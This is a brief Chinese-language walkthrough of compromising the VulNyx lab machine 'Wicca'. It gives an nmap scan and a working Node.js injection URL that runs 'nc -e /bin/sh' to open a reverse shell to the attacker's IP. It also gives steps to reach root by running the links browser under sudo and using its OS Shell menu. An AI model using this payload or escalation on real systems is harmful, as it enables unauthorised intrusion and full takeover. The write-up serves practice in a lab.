# 靶场搭建
下载:Wicca
下载、导入、Nat
IP: 192.168.1.130
# 渗透过程
# 信息初收集
PORT STATE SERVICE VERSION | |
22/tcp open ssh OpenSSH 9.2p1 Debian 2 (protocol 2.0) | |
| ssh-hostkey: | |
| 256 3a:dc:d6:1d:84:b6:96:c0:8f:96:1e:65:a0:24:0e:fb (ECDSA) | |
|_ 256 de:93:17:fb:3a:19:9c:e0:17:32:2d:a9:73:f7:c5:94 (ED25519) | |
80/tcp open http Apache httpd 2.4.57 ((Debian)) | |
|_http-title: Apache2 Debian Default Page: It works | |
|_http-server-header: Apache/2.4.57 (Debian) | |
5000/tcp open http Node.js (Express middleware) | |
|_http-title: VulNyx Lab |
5000 打开看上去像是注入,测试的时候发现有一个 token。
本来以为是必须 token 和 form 表里面的一致才可以,但是改了一下发现没关系?
但是字母的时候直接就报错了,不太熟悉 nodejs,token 上搞一个反弹 shell 看看? http://192.168.1.130:5000/?name=1&token=require(%27child_process%27).exec(%27nc%20-e%20/bin/sh%20192.168.1.129%204444%27)
OK 了,弹出来了
# 提权
sudo -l
看到了 links,查了一下资料发现有 os shell 的功能
那我们 sudo 运行 links
按 ESC,呼出菜单栏,按空格选择 file 选项,按↓选到 OS Shell
,按空格 OK 了,拿到了 root 权限
# 小结
Links 是一款开源的文本浏览器,它可以在终端中浏览网页,支持 HTML、CSS 和 JavaScript 等标准。Links 具有轻量、快速、低资源占用等特点,因此经常被用于在较弱的计算机或低速网络上进行网页浏览。
Links 浏览器支持多个操作系统,包括 Linux、FreeBSD、NetBSD、OpenBSD、Solaris、AIX、HP-UX、Unix、Windows 等。它也支持多种终端类型,包括 xterm、rxvt、Linux 控制台等。
Links 浏览器支持多种浏览模式,包括常规浏览模式、文件浏览模式、图像浏览模式等。它可以通过快捷键进行页面缩放、滚动、导航等操作,支持多语言界面和多种字符编码。